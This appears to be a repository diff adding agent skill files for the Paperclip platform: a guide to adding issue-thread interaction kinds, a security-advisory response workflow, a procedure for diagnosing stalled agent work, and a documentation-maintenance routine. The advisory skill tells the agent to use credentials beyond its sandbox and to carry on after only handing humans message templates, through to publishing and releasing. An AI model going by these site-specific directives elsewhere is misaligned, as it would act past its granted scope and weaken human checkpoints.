- A reviewer asks for "the same audit, staleness, supersede, and continuation
semantics as the other interactions" on a new card.
## When NOT to use
- Adding fields to an existing interaction kind that does not need a new
payload schema. Patch the existing validators/UI in place instead.
- Changing how Paperclip agents *call* interactions. Update `skills/paperclip`
or `references/api-reference.md`; that is agent guidance, not card work.
- Building a non-thread UI (issue detail sidebar, project board widget, etc.).
Those have their own component conventions.
## Mental model
Every issue-thread interaction has four moving parts:
| Layer | Owns |
|--------------|---------------------------------------------------------------------------------------------------|
| Shared | Kind constant, payload/result interfaces, Zod validators, exported types, shared-test coverage. |
| Server | Service create/accept/reject/respond, staleness, supersede, idempotency, activity log, wake send. |
| UI | Card pending/resolved/stale states, fixtures, Storybook, issue-thread/IssueDetail wiring. |
| Helpers/Docs | CLI command, MCP tool, plugin SDK type+host+testing path, `skills/paperclip` guidance. |
The four existing kinds are the canonical prior art. Pick the closest one and
copy its plumbing rather than inventing parallel mechanics:
- `request_confirmation` — single yes/no bound to a `target` with stale/supersede.
- `request_checkbox_confirmation` — bounded multi-select against an immutable option set.
- `ask_user_questions` — small typed form, no target binding.
- `suggest_tasks` — proposes tasks the board can accept individually.
If your new card needs target binding and a yes/no-style resolution, model it
after the two `request_*` kinds. If it is a structured form, model it after
`ask_user_questions`. If it produces creatable child entities, model it after
`suggest_tasks`.
## The canonical worked example
The current best end-to-end reference is the checkbox confirmation rollout
(merged in `4d5322c82`, GitHub PR `#7649`). Read that diff before starting:
```sh
git show --stat 4d5322c82
```
The plan it implemented is preserved as an issue document on
[PAP-10415](/PAP/issues/PAP-10415#document-plan). Use it as the template for
your own plan document if you are running this work through Paperclip itself.
## Order of operations
Do the shared contract first. It is the smallest correct change you can land
even before UI is final, and every later layer reads its types and validators.
### 1. Shared contract (smallest, lands first)
Touch:
- `packages/shared/src/constants.ts` — add the kind string to
`ISSUE_THREAD_INTERACTION_KINDS` and any size constant (mirror
`REQUEST_CHECKBOX_CONFIRMATION_OPTION_LIMIT = 200`).
- `packages/shared/src/types/issue.ts` — add `Option`, `Payload`, `Result`,
and `Interaction` interfaces. Extend the `IssueThreadInteraction` and
payload/result union types at the bottom of the file.
- `packages/shared/src/types/index.ts` — re-export the new types.
- `packages/shared/src/validators/issue.ts` — add Zod schemas for payload,
result, and the create-input variant. Reuse the existing
`requestConfirmationTargetSchema` when target binding applies.
- `packages/shared/src/validators/index.ts` — re-export the new schemas.
- `packages/shared/src/index.ts` — re-export at the package root.
- `packages/shared/src/issue-thread-interactions.test.ts` — extend the table
tests for the new payload variant.
Validation invariants that have already been litigated and must hold:
- Option lists are bounded (the checkbox kind uses 200; pick a number the UX
can render compactly).
- Option ids are unique within a payload and any default selection must
reference known ids.
- Labels and descriptions are length-capped to match existing question
options. Do not invent looser caps.
- Target binding uses the shared `RequestConfirmationTarget` schema so stale
expiration runs through one code path.
### 2. Server service and routes
Touch:
- `server/src/services/issue-thread-interactions.ts` — add the kind to:
- the supported-kinds list (`SUPPORTED_KINDS` near the top),
- `mapInteractionRow` (the `switch (row.kind)` over payload/result parsers),
- create-input validation (`switch (data.kind)`),
- the accept/reject/respond/stale-expiration branches,
- the activity-log payload and the continuation wake payload.
- `server/src/routes/issues.ts` — extend any kind-specific branches (notably
the response-shape branch around line 6096 in the checkbox PR).
- `server/src/__tests__/issue-thread-interactions-service.test.ts` — cover
create, accept-with-result, reject-with-reason, stale-target expiration,
supersede-on-user-comment, idempotency conflict, and wake payload shape.
- `server/src/__tests__/issue-thread-interaction-routes.test.ts` — cover
create + respond/accept/reject HTTP behavior, company scoping, and
authorization.
Server invariants:
- Board-only resolution. Agent-authored accept/reject must be rejected with
the existing 403 path; do not add a per-kind bypass.
- Company scoping. Reads, writes, expiration, and supersede must all filter
by `companyId`. Never trust an `issueId` alone.
- Stale target. If `target` was specified at create time and a newer revision
lands, the interaction expires with `outcome: "stale_target"`. Do not write
bespoke staleness — call the same helper the other `request_*` kinds use.
- Supersede on user comment. Default `supersedeOnUserComment: true` unless
the payload schema documents otherwise.
- Idempotency. The deterministic `idempotencyKey` shape from the existing
kinds (`<kind>:<issueId>:<decisionKey>:<revisionId>`) must be honored;
duplicate POSTs must return the existing card, not stack.
- Continuation policy. Support `none`, `wake_assignee`, and
`wake_assignee_on_accept`. Pick a default that matches whether the
asker is *blocked* waiting for the answer (`wake_assignee`) or only cares
about acceptance (`wake_assignee_on_accept`).
### 3. UI card and issue-thread wiring
Touch:
- `ui/src/components/IssueThreadInteractionCard.tsx` — add a card component
(e.g. `RequestCheckboxConfirmationCard`) and a resolution component
(e.g. `RequestCheckboxConfirmationResolution`). Branch the existing
switch by `interaction.kind`. Reuse the card shell — do not introduce a
parallel card frame.
- `ui/src/lib/issue-thread-interactions.ts` — add typed helpers like
`getCheckboxConfirmationSelectedLabels` so the card stays declarative.
- `ui/src/lib/issue-thread-interactions.test.ts` — test the helpers.
- `ui/src/components/IssueThreadInteractionCard.test.tsx` — pending,
resolved, stale, disabled/submitting, and validation-error states.
- `ui/src/fixtures/issueThreadInteractionFixtures.ts` — seed at least one
pending and one resolved fixture for the new kind.
- `ui/src/stories/issue-thread-interactions.stories.tsx` — Storybook entries
for the key states.
- `ui/src/pages/IssueDetail.tsx` — extend the per-kind branches the card is
rendered from (callback wiring, response submission).
- `ui/src/components/IssueChatThread.tsx` — if the kind affects thread-level
rendering (badge, summary, count), update the per-kind switches here.
- `ui/src/api/issues.ts` — extend the typed accept/reject/respond bodies.
UI invariants:
- Compact rendering. The card must render comfortably with ~100 options
(bounded scroll area, count-first resolved-state summaries — do not chip
every selected option inline).
- Select all and clear selection live inside the card, not in a global menu.
- The accept payload uses kind-specific field names (e.g. `selectedOptionIds`,
not the suggest-tasks `selectedClientKeys`). Do not reuse another kind's
field name.
- Stale, superseded, and accepted states render distinct copy; reuse the
existing resolution-component shell.
### 4. CLI, MCP, plugin SDK helpers
External callers must be able to create the new interaction without
hand-writing JSON. Touch:
- `cli/src/commands/client/issue.ts` — add a CLI sub-command or extend the
generic interaction create path.
- `cli/src/__tests__/issue-subresources.test.ts` — cover the new flag set.
- `packages/mcp-server/src/tools.ts` — add an MCP tool that accepts the new
payload shape; reuse the existing `createIssueThreadInteraction` codepath.
- `packages/mcp-server/src/tools.test.ts` — cover the tool's payload shape.
- `packages/plugins/sdk/src/types.ts` — add the typed
`CreateIssueThreadInteraction` variant so plugin authors get autocomplete.
- `packages/plugins/sdk/src/worker-rpc-host.ts` — extend the kind switch in
the create call.
- `packages/plugins/sdk/src/testing.ts` — extend the test harness so plugins
can simulate the new kind end-to-end.
- `packages/plugins/sdk/tests/testing-actions.test.ts` — round-trip test for
the new kind through the test harness.
### 5. Agent guidance
Touch:
- `skills/paperclip/SKILL.md` — add a row to the interaction-kinds table:
*when to use*, *when not to use*, plus a copyable payload example.
- `skills/paperclip/references/api-reference.md` — full payload and result
schemas, validation limits, create/respond bodies, error codes.
The skills text is read by the runtime agents. Keep it concise — differentiate
clearly from sibling kinds in one or two sentences each.
## Tests to run before requesting review
The checkbox PR ran exactly this focused set under `NODE_ENV=test`. Use the
same shape for any new kind, swapping in your new test files:
```sh
NODE_ENV=test pnpm run preflight:workspace-links
NODE_ENV=test pnpm exec vitest run \
packages/shared/src/issue-thread-interactions.test.ts \
server/src/__tests__/issue-thread-interaction-routes.test.ts \
server/src/__tests__/issue-thread-interactions-service.test.ts \
ui/src/components/IssueThreadInteractionCard.test.tsx \
ui/src/lib/issue-thread-interactions.test.ts \
cli/src/__tests__/issue-subresources.test.ts \
packages/mcp-server/src/tools.test.ts \
packages/plugins/sdk/tests/testing-actions.test.ts
```
If UI vitest fails with `act is not a function`, the shell is running with
`NODE_ENV=production` (it picks up React's prod build). Re-run with
`NODE_ENV=test` explicitly.
## Pre-merge checklist
- [ ] New kind appears in `ISSUE_THREAD_INTERACTION_KINDS` and is exported.
- [ ] Payload and result interfaces are versioned (start at `version: 1`).
- [ ] Zod validators enforce option/label/description limits and id uniqueness.
- [ ] Target binding (if any) uses the shared `RequestConfirmationTarget` path.
- [ ] Service handles create, accept, reject/respond, stale-target,
supersede-on-user-comment, idempotency, activity log, and continuation
wake.
- [ ] Routes honor board-only resolution and company scoping.
- [ ] UI renders pending, resolved, stale, disabled/submitting, and
validation-error states; resolved-state large selections summarize by
count first.
- [ ] Fixtures and Storybook entries exist for the new kind.
- [ ] CLI, MCP, and plugin SDK helpers all accept the new payload shape and
have test coverage.
- [ ] `skills/paperclip/SKILL.md` and `references/api-reference.md` updated.
- [ ] Focused test set above is green; CI gates pass.
## Anti-patterns observed in review
These came out of the checkbox PR review thread and are worth avoiding next
time:
- Reusing another kind's accept-payload field name (e.g. piggybacking on
`selectedClientKeys` instead of introducing `selectedOptionIds`). Each kind
owns its own field names.
- Writing parallel staleness or supersede logic instead of routing through
the existing `request_confirmation` helpers. This silently drifts behavior.
- Rendering hundreds of selected-option chips in the resolved state. Resolved
large selections must summarize by count first.
- Skipping plugin SDK / MCP / CLI coverage on the theory that "the API is
generic enough." External callers do not pick up new kinds without typed
helpers, and the absence shows up later as broken agent flows.
- Adding the kind to skills guidance before the server route accepts it.
Agents will try the new kind and 400 in production.
@@ -0,0 +1,230 @@
---
name: deal-with-security-advisory
description: >
Handle a GitHub Security Advisory response for Paperclip, including
confidential fix development in a temporary private fork, human coordination
on advisory-thread comments, CVE request, synchronized advisory publication,
and immediate security release steps.
---
# Security Vulnerability Response Instructions
## ⚠️ CRITICAL: This is a security vulnerability. Everything about this process is confidential until the advisory is published. Do not mention the vulnerability details in any public commit message, PR title, branch name, or comment. Do not push anything to a public branch. Do not discuss specifics in any public channel. Assume anything on the public repo is visible to attackers who will exploit the window between disclosure and user upgrades.
***
## Context
A security vulnerability has been reported via GitHub Security Advisory:
* **Advisory:** {{ghsaId}} (e.g. GHSA-x8hx-rhr2-9rf7)
* **Reporter:** {{reporterHandle}}
* **Severity:** {{severity}}
* **Notes:** {{notes}}
***
## Step 0: Fetch the Advisory Details
Pull the full advisory so you understand the vulnerability before doing anything else:
```
gh api repos/paperclipai/paperclip/security-advisories/{{ghsaId}}
```
Read the `description`, `severity`, `cvss`, and `vulnerabilities` fields. Understand the attack vector before writing code.
## Step 1: Acknowledge the Report
⚠️ **This step requires a human.** The advisory thread does not have a comment API. Ask the human operator to post a comment on the private advisory thread acknowledging the report. Provide them this template:
> Thanks for the report, @{{reporterHandle}}. We've confirmed the issue and are working on a fix. We're targeting a patch release within {{timeframe}}. We'll keep you updated here.
Give your human this template, but still continue
Below we use `gh` tools - you do have access and credentials outside of your sandbox, so use them.
## Step 2: Create the Temporary Private Fork
This is where all fix development happens. Never push to the public repo.
```
gh api --method POST \
repos/paperclipai/paperclip/security-advisories/{{ghsaId}}/forks
```
This returns a repository object for the private fork. Save the `full_name` and `clone_url`.
Clone it and set up your workspace:
```
# Clone the private fork somewhere outside ~/paperclip
git clone <clone_url_from_response> ~/security-patch-{{ghsaId}}
cd ~/security-patch-{{ghsaId}}
git checkout -b security-fix
```
**Do not edit `~/paperclip`** — the dev server is running off the `~/paperclip` master branch and we don't want to touch it. All work happens in the private fork clone.
**TIPS:**
* Do not commit `pnpm-lock.yaml` — the repo has actions to manage this
* Do not use descriptive branch names that leak the vulnerability (e.g., no `fix-dns-rebinding-rce`). Use something generic like `security-fix`
* All work stays in the private fork until publication
* CI/GitHub Actions will NOT run on the temporary private fork — this is a GitHub limitation by design. You must run tests locally
## Step 3: Develop and Validate the Fix
Write the patch. Same content standards as any PR:
* It must functionally work — **run tests locally** since CI won't run on the private fork
* Consider the whole codebase, not just the narrow vulnerability path. A patch that fixes one vector but opens another is worse than no patch
* Ensure backwards compatibility for the database, or be explicit about what breaks
* Make sure any UI components still look correct if the fix touches them
* The fix should be minimal and focused — don't bundle unrelated changes into a security patch. Reviewers (and the reporter) should be able to read the diff and understand exactly what changed and why
**Specific to security fixes:**
* Verify the fix actually closes the attack vector described in the advisory. Reproduce the vulnerability first (using the reporter's description), then confirm the patch prevents it
* Consider adjacent attack vectors — if DNS rebinding is the issue, are there other endpoints or modes with the same class of problem?
* Do not introduce new dependencies unless absolutely necessary — new deps in a security patch raise eyebrows
Push your fix to the private fork:
```
git add -A
git commit -m "Fix security vulnerability"
git push origin security-fix
```
## Step 4: Coordinate with the Reporter
⚠️ **This step requires a human.** Ask the human operator to post on the advisory thread letting the reporter know the fix is ready and giving them a chance to review. Provide them this template:
> @{{reporterHandle}} — fix is ready in the private fork if you'd like to review before we publish. Planning to release within {{timeframe}}.
Proceed
## Step 5: Request a CVE
This makes vulnerability scanners (npm audit, Snyk, Dependabot) warn users to upgrade. Without it, nobody gets automated notification.
```
gh api --method POST \
repos/paperclipai/paperclip/security-advisories/{{ghsaId}}/cve
```
GitHub is a CVE Numbering Authority and will assign one automatically. The CVE may take a few hours to propagate after the advisory is published.
## Step 6: Publish Everything Simultaneously
This all happens at once — do not stagger these steps. The goal is **zero window** between the vulnerability becoming public knowledge and the fix being available.
### 6a. Verify reporter credit before publishing
```
gh api repos/paperclipai/paperclip/security-advisories/{{ghsaId}} --jq '.credits'
```
If the reporter is not credited, add them:
```
gh api --method PATCH \
repos/paperclipai/paperclip/security-advisories/{{ghsaId}} \
--input - << 'EOF'
{
"credits": [
{
"login": "{{reporterHandle}}",
"type": "reporter"
}
]
}
EOF
```
### 6b. Update the advisory with the patched version and publish
```
gh api --method PATCH \
repos/paperclipai/paperclip/security-advisories/{{ghsaId}} \
--input - << 'EOF'
{
"state": "published",
"vulnerabilities": [
{
"package": {
"ecosystem": "npm",
"name": "paperclip"
},
"vulnerable_version_range": "< {{patchedVersion}}",
"patched_versions": "{{patchedVersion}}"
}
]
}
EOF
```
Publishing the advisory simultaneously:
* Makes the GHSA public
* Merges the temporary private fork into your repo
* Triggers the CVE assignment (if requested in step 5)
### 6c. Cut a release immediately after merge
```
cd ~/paperclip
git pull origin master
gh release create v{{patchedVersion}} \
--repo paperclipai/paperclip \
--title "v{{patchedVersion}} — Security Release" \
--notes "## Security Release
This release fixes a critical security vulnerability.
### What was fixed
{{briefDescription}} (e.g., Remote code execution via DNS rebinding in \`local_trusted\` mode)
### Advisory
https://github.com/paperclipai/paperclip/security/advisories/{{ghsaId}}
### Credit
Thanks to @{{reporterHandle}} for responsibly disclosing this vulnerability.
### Action required
All users running versions prior to {{patchedVersion}} should upgrade immediately."
```
## Step 7: Post-Publication Verification
```
# Verify the advisory is published and CVE is assigned
gh api repos/paperclipai/paperclip/security-advisories/{{ghsaId}} \
--jq '{state: .state, cve_id: .cve_id, published_at: .published_at}'
# Verify the release exists
gh release view v{{patchedVersion}} --repo paperclipai/paperclip
```
If the CVE hasn't been assigned yet, that's normal — it can take a few hours.
⚠️ **Human step:** Ask the human operator to post a final comment on the advisory thread confirming publication and thanking the reporter.
Tell the human operator what you did by posting a comment to this task, including:
* The published advisory URL: `https://github.com/paperclipai/paperclip/security/advisories/{{ghsaId}}`
* The release URL
* Whether the CVE has been assigned yet
* All URLs to any pull requests or branches
@@ -0,0 +1,161 @@
---
name: diagnose-why-work-stopped
description: >
How to handle "why did this work stop / why is this looping?" assignments.
Forensics first on the named tree, surface the exact stop-point, frame the
fix as a general product rule that respects three invariants (productive
work continues, only real blockers stop work, no infinite loops), and
deliver a plan — no code changes — gated by board/CTO approval before
child issues are created. Use whenever the issue title or body asks for
forensics on a stalled, looping, or "went too deep" tree.
---
# Diagnose Why Work Stopped
A repeatable procedure for the recurring class of issues where the user (or a manager) points at a stalled / looping / over-recovered issue tree and asks "why did this stop / why is this looping / how do we make sure this doesn't happen again?"
This skill is **diagnostic + product-design**, not engineering. The output is a written root cause and an approved plan. No code changes leave this skill.
Canonical execution model: read `doc/execution-semantics.md` before diagnosing or proposing a new liveness/recovery rule. Use that document as the source of truth for status, action-path, post-run disposition, bounded continuation, productivity review, pause-hold, watchdog, and explicit recovery semantics. If the investigation finds a true product-rule gap, the plan should say whether `doc/execution-semantics.md` needs a matching update.
## When to use
Trigger on an assignment whose title or body matches any of:
- "why did this work stop", "why did this stall", "why did this just stop"
- "infinite loop", "looping", "spinning", "going too deep", "recovery went too deep"
- "liveness — what happened here", "this tree stopped working", "stuck"
- "approach it from a product perspective", "general product principle / rule"
- An attached link to a specific stalled / looping / over-recovered issue tree
Also use when the user asks for forensics, root cause, or a write-up *before* any product change.
## When NOT to use
- The assignment asks you to ship a code change directly. Use normal engineering flow.
- The assignment is a normal bug report against a specific feature. Use normal investigation.
- You are the original implementer being asked to fix your own bug. Use normal debugging.
## Three invariants you must preserve
Every diagnosis and every proposed rule must hold these three invariants together. The user has restated them on at least four issues; treat them as load-bearing:
1. **Productive work continues.** Agents that have a clear next action must keep working without needing the user to wake them. ([PAP-2674](/PAP/issues/PAP-2674), [PAP-2708](/PAP/issues/PAP-2708))
2. **Only real blockers stop work.** Stops happen when something genuinely cannot proceed (missing approval, missing dependency, human owner). Pseudo-stops (in_review with no action path, cancelled leaves, malformed metadata) must be detected and routed, not left silent. ([PAP-2335](/PAP/issues/PAP-2335), [PAP-2674](/PAP/issues/PAP-2674))
3. **No infinite loops.** Stranded-work recovery and continuation loops must be bounded and distinguishable from genuinely productive continuation. ([PAP-2602](/PAP/issues/PAP-2602), [PAP-2486](/PAP/issues/PAP-2486))
If a proposed rule violates any of the three, drop it or rework it. State explicitly in the plan how each invariant is held.
## Procedure
### 0. Read the current execution contract
Before walking the tree, read `doc/execution-semantics.md` and keep its terms intact:
- live path / waiting path / recovery path
- post-run disposition: terminal, explicitly live, explicitly waiting, invalid
- bounded `run_liveness_continuation`
- productivity review vs liveness recovery
- active subtree pause holds
- silent active-run watchdog
Do not invent a new rule until you can state how it differs from the current execution semantics document.
### 1. Forensics on the named tree — before anything else
Do this in the same heartbeat. Do not propose a rule until you have a concrete stop point.
- Open the linked issue (and its blocker chain, parents, recovery siblings, recent runs).
- Walk the tree node-by-node and find the exact issue + state combination that stops the world. Common shapes seen in the company so far:
- `in_review` with no typed execution participant, no active run, no pending interaction, no recovery issue ([PAP-2335](/PAP/issues/PAP-2335), [PAP-2674](/PAP/issues/PAP-2674)).
- `in_progress` after a successful run with no future action path queued ([PAP-2674](/PAP/issues/PAP-2674)).
- Blocker chain whose leaf is `cancelled` / malformed / cross-company-inaccessible ([PAP-2602](/PAP/issues/PAP-2602)).
- `issue.continuation_recovery` waking the same issue >N times after successful runs ([PAP-2602](/PAP/issues/PAP-2602)).
- Stranded-work recovery treating its own recovery issues as more recoverable source work ([PAP-2486](/PAP/issues/PAP-2486)).
- Quote the evidence: run ids, comment timestamps, status transitions. "Inferred" is acceptable only when an API boundary blocks direct evidence — say so explicitly and mark the claim provisional ([PAP-2631](/PAP/issues/PAP-2631)).
Respect the API boundary. If the linked issue is in another company and your agent token returns 403, do not bypass scoping. Either request a board-approved diagnostic path or proceed from inferred PAP-side evidence and label it.
### 2. Survey recent related work
Before proposing a new product rule, read what already shipped this week in the same area. The user has explicitly called this out: ([PAP-2602](/PAP/issues/PAP-2602)) "review our recent work on liveness that we shipped in the last couple of days." A new rule that contradicts code merged 48 hours ago is rework, not improvement.
Quick survey:
- Recent merged PRs in the affected area.
- Recent done issues whose title mentions liveness, recovery, productivity, continuation, or the affected subsystem.
- Any active plan documents on parent issues. The fix may belong as a revision to an existing plan, not as a new top-level proposal.
State in the forensics: "I reviewed X, Y, Z. The new gap is …"
### 3. Classify each non-progressing issue in the tree
For every issue in the affected tree that is not `done` / `cancelled` / actively running, decide:
- **Truly needs human or board intervention** — name the owner and the action.
- **Agent-actionable but not currently routed** — name the rule that would have routed it, and the agent that should have been waked.
- **Already covered** — point at the active run, queued wake, recovery issue, or pending interaction.
This is the table the user has asked for repeatedly ([PAP-2335](/PAP/issues/PAP-2335)). Without it the plan is abstract.
### 4. Frame as a general product rule
The user does not want a one-off patch on the named tree. They want the rule. Two checks:
- The rule is **stated as a contract**, not as an if/else patch. Example contract: "every agent-owned non-terminal issue must finish each heartbeat with a terminal state, an explicit waiting path, or an explicit live path" ([PAP-2674](/PAP/issues/PAP-2674)).
- The rule is reconciled against `doc/execution-semantics.md`. Prefer citing and applying the existing contract; propose a document change only when the current doc is incomplete or contradicted by accepted/implemented behavior.
- The rule **explicitly preserves the three invariants** above. Show the work.
If the rule would have blocked a recent productive run from succeeding, drop or narrow it.
### 5. Plan, do not code
Write the plan into the issue's `plan` document. Cover:
- Forensics summary (root cause + evidence).
- The general product rule, stated as a contract.
- Whether the existing `doc/execution-semantics.md` contract already covers the case, or what exact documentation update is needed.
- Phased subtasks: typically `Phase 0` resolves the named live tree (carefully, not destructively), `Phase 1` codifies the contract in docs, then implementation phases for detection, recovery, UI surfacing, security review, QA, and CTO review.
- Explicit assignees per phase; favor team specialty (CodexCoder for server, ClaudeCoder for FE, UXDesigner for visible state, SecurityEngineer for ownership/permissions, QA for validation).
- Blocking dependencies wired with `blockedByIssueIds`, parallel branches identified.
Do not create the child issues yet. Do not push code.
### 6. Request approval, then decompose
- Open a `request_confirmation` interaction targeting the latest plan revision. Idempotency key `confirmation:{issueId}:plan:{revisionId}`.
- Wait for board/CTO acceptance. If the user posts a new comment that supersedes the plan, the prior confirmation is invalidated — open a fresh confirmation tied to the new revision ([PAP-2602](/PAP/issues/PAP-2602) cycled three revisions; that is fine).
- Only after acceptance: create the phased child issues with the right assignees and dependencies, then block this parent on the final QA / CTO review issue so the parent only wakes when the chain finishes.
### 7. Phase 0 hygiene on the named tree
Phase 0 cleans up the live tree without papering over evidence:
- Move stalled `in_review` leaves with no participant to `todo` with a precise next action and named owner ([PAP-2335](/PAP/issues/PAP-2335)).
- Detach cancelled/dead blockers from chains they were holding hostage; do not silently mark issues `done` to clear backlog.
- Leave a comment on the original named issue summarizing what changed and why; never hide the recovery chain history.
### 8. Final close-out
When the phase chain is complete, post a board-level summary comment on the parent issue: what changed, what the new contract is, what the rollout step is (e.g. "restart the control-plane to pick up the new response shape"), and the live state of the originally-named tree. Then close the parent.
## Pitfalls
- **Coding before approval.** The user has said "make a plan first" on every recent diagnostic issue. Producing code in the forensic phase wastes the round-trip.
- **Restating one invariant at the cost of another.** Bound continuation too tightly and productive work stalls; loosen recovery and infinite loops return. Always check all three.
- **Skipping the recent-work survey.** Proposing a contract that contradicts what shipped 24 hours ago is the easiest way to get the plan rejected.
- **Letting "in_review" mean done.** A leaf assigned to another agent with no participant or active run is not progress; treat it as a stop.
- **Bypassing company scoping.** Cross-company forensics needs a board-approved diagnostic path, not a database read.
- **Recursive recovery.** Stranded-work recovery that recovers its own recovery issues is the canonical infinite loop ([PAP-2486](/PAP/issues/PAP-2486)). Detect it and refuse to deepen.
- **Hiding the chain.** Don't silently delete or hide the symptomatic recovery issues — the operator needs the audit trail.
## Verification checklist (before posting the plan)
- [ ] The exact stop point in the named tree is identified with run ids / comment ids.
- [ ] Recent shipped work in the same area was surveyed and is referenced.
- [ ] Every non-progressing issue is classified human-needed / agent-actionable / already-covered.
- [ ] The proposed rule is stated as a contract, not a patch.
- [ ] All three invariants are explicitly preserved.
- [ ] No code change has landed in this heartbeat.
- [ ] A `request_confirmation` against the latest plan revision is open.
- [ ] Phase 0 of the plan addresses the live named tree without destroying evidence.
- [ ] Implementation phases name specialty-appropriate assignees and `blockedByIssueIds` dependencies.
+201
View File
@@ -0,0 +1,201 @@
---
name: doc-maintenance
description: >
Audit top-level documentation (README, SPEC, PRODUCT) against recent git
history to find drift — shipped features missing from docs or features
listed as upcoming that already landed. Proposes minimal edits, creates
a branch, and opens a PR. Use when asked to review docs for accuracy,
after major feature merges, or on a periodic schedule.
---
# Doc Maintenance Skill
Detect documentation drift and fix it via PR — no rewrites, no churn.
## When to Use
- Periodic doc review (e.g. weekly or after releases)
- After major feature merges
- When asked "are our docs up to date?"
- When asked to audit README / SPEC / PRODUCT accuracy
## Target Documents
| Document | Path | What matters |
|----------|------|-------------|
| README | `README.md` | Features table, roadmap, quickstart, "what is" accuracy, "works with" table |
| SPEC | `doc/SPEC.md` | No false "not supported" claims, major model/schema accuracy |
| PRODUCT | `doc/PRODUCT.md` | Core concepts, feature list, principles accuracy |
Out of scope: DEVELOPING.md, DATABASE.md, CLI.md, doc/plans/, skill files,
release notes. These are dev-facing or ephemeral — lower risk of user-facing
confusion.
## Workflow
### Step 1 — Detect what changed
Find the last review cursor:
```bash
# Read the last-reviewed commit SHA
CURSOR_FILE=".doc-review-cursor"
if [ -f "$CURSOR_FILE" ]; then
LAST_SHA=$(cat "$CURSOR_FILE" | head -1)
else
# First run: look back 60 days
LAST_SHA=$(git log --format="%H" --after="60 days ago" --reverse | head -1)
fi
```
Then gather commits since the cursor:
```bash
git log "$LAST_SHA"..HEAD --oneline --no-merges
```
### Step 2 — Classify changes
Scan commit messages and changed files. Categorize into:
- **Feature** — new capabilities (keywords: `feat`, `add`, `implement`, `support`)
- **Breaking** — removed/renamed things (keywords: `remove`, `breaking`, `drop`, `rename`)
- **Structural** — new directories, config changes, new adapters, new CLI commands
**Ignore:** refactors, test-only changes, CI config, dependency bumps, doc-only
changes, style/formatting commits. These don't affect doc accuracy.
For borderline cases, check the actual diff — a commit titled "refactor: X"
that adds a new public API is a feature.
### Step 3 — Build a change summary
Produce a concise list like:
```
Since last review (<sha>, <date>):
- FEATURE: Plugin system merged (runtime, SDK, CLI, slots, event bridge)
- FEATURE: Project archiving added
- BREAKING: Removed legacy webhook adapter
- STRUCTURAL: New .agents/skills/ directory convention
```
If there are no notable changes, skip to Step 7 (update cursor and exit).
### Step 4 — Audit each target doc
For each target document, read it fully and cross-reference against the change
summary. Check for:
1. **False negatives** — major shipped features not mentioned at all
2. **False positives** — features listed as "coming soon" / "roadmap" / "planned"
/ "not supported" / "TBD" that already shipped
3. **Quickstart accuracy** — install commands, prereqs, and startup instructions
still correct (README only)
4. **Feature table accuracy** — does the features section reflect current
capabilities? (README only)
5. **Works-with accuracy** — are supported adapters/integrations listed correctly?
Use `references/audit-checklist.md` as the structured checklist.
Use `references/section-map.md` to know where to look for each feature area.
### Step 5 — Create branch and apply minimal edits
```bash
# Create a branch for the doc updates
BRANCH="docs/maintenance-$(date +%Y%m%d)"
git checkout -b "$BRANCH"
```
Apply **only** the edits needed to fix drift. Rules:
- **Minimal patches only.** Fix inaccuracies, don't rewrite sections.
- **Preserve voice and style.** Match the existing tone of each document.
- **No cosmetic changes.** Don't fix typos, reformat tables, or reorganize
sections unless they're part of a factual fix.
- **No new sections.** If a feature needs a whole new section, note it in the
PR description as a follow-up — don't add it in a maintenance pass.
- **Roadmap items:** Move shipped features out of Roadmap. Add a brief mention
in the appropriate existing section if there isn't one already. Don't add
long descriptions.
### Step 6 — Open a PR
Commit the changes and open a PR:
```bash
git add README.md doc/SPEC.md doc/PRODUCT.md .doc-review-cursor
git commit -m "docs: update documentation for accuracy
- [list each fix briefly]
Co-Authored-By: Paperclip <noreply@paperclip.ing>"
git push -u origin "$BRANCH"
gh pr create \
--title "docs: periodic documentation accuracy update" \
--body "$(cat <<'EOF'
## Summary
Automated doc maintenance pass. Fixes documentation drift detected since
last review.
### Changes
- [list each fix]
### Change summary (since last review)
- [list notable code changes that triggered doc updates]
## Review notes
- Only factual accuracy fixes — no style/cosmetic changes
- Preserves existing voice and structure
- Larger doc additions (new sections, tutorials) noted as follow-ups
🤖 Generated by doc-maintenance skill
EOF
)"
```
### Step 7 — Update the cursor
After a successful audit (whether or not edits were needed), update the cursor:
```bash
git rev-parse HEAD > .doc-review-cursor
```
If edits were made, this is already committed in the PR branch. If no edits
were needed, commit the cursor update to the current branch.
## Change Classification Rules
| Signal | Category | Doc update needed? |
|--------|----------|-------------------|
| `feat:`, `add`, `implement`, `support` in message | Feature | Yes if user-facing |
| `remove`, `drop`, `breaking`, `!:` in message | Breaking | Yes |
| New top-level directory or config file | Structural | Maybe |
| `fix:`, `bugfix` | Fix | No (unless it changes behavior described in docs) |
| `refactor:`, `chore:`, `ci:`, `test:` | Maintenance | No |
| `docs:` | Doc change | No (already handled) |
| Dependency bumps only | Maintenance | No |
## Patch Style Guide
- Fix the fact, not the prose
- If removing a roadmap item, don't leave a gap — remove the bullet cleanly
- If adding a feature mention, match the format of surrounding entries
(e.g. if features are in a table, add a table row)
- Keep README changes especially minimal — it shouldn't churn often
- For SPEC/PRODUCT, prefer updating existing statements over adding new ones
(e.g. change "not supported in V1" to "supported via X" rather than adding
a new section)
## Output
When the skill completes, report:
- How many commits were scanned
- How many notable changes were found
- How many doc edits were made (and to which files)
- PR link (if edits were made)
- Any follow-up items that need larger doc work
@@ -0,0 +1,85 @@
# Doc Maintenance Audit Checklist
Use this checklist when auditing each target document. For each item, compare
against the change summary from git history.
## README.md
### Features table
- [ ] Each feature card reflects a shipped capability
- [ ] No feature cards for things that don't exist yet
- [ ] No major shipped features missing from the table
### Roadmap
- [ ] Nothing listed as "planned" or "coming soon" that already shipped
- [ ] No removed/cancelled items still listed
- [ ] Items reflect current priorities (cross-check with recent PRs)
### Quickstart
- [ ] `npx paperclipai onboard` command is correct
- [ ] Manual install steps are accurate (clone URL, commands)
- [ ] Prerequisites (Node version, pnpm version) are current
- [ ] Server URL and port are correct
### "What is Paperclip" section
- [ ] High-level description is accurate
- [ ] Step table (Define goal / Hire team / Approve and run) is correct
### "Works with" table
- [ ] All supported adapters/runtimes are listed
- [ ] No removed adapters still listed
- [ ] Logos and labels match current adapter names
### "Paperclip is right for you if"
- [ ] Use cases are still accurate
- [ ] No claims about capabilities that don't exist
### "Why Paperclip is special"
- [ ] Technical claims are accurate (atomic execution, governance, etc.)
- [ ] No features listed that were removed or significantly changed
### FAQ
- [ ] Answers are still correct
- [ ] No references to removed features or outdated behavior
### Development section
- [ ] Commands are accurate (`pnpm dev`, `pnpm build`, etc.)
- [ ] Link to DEVELOPING.md is correct
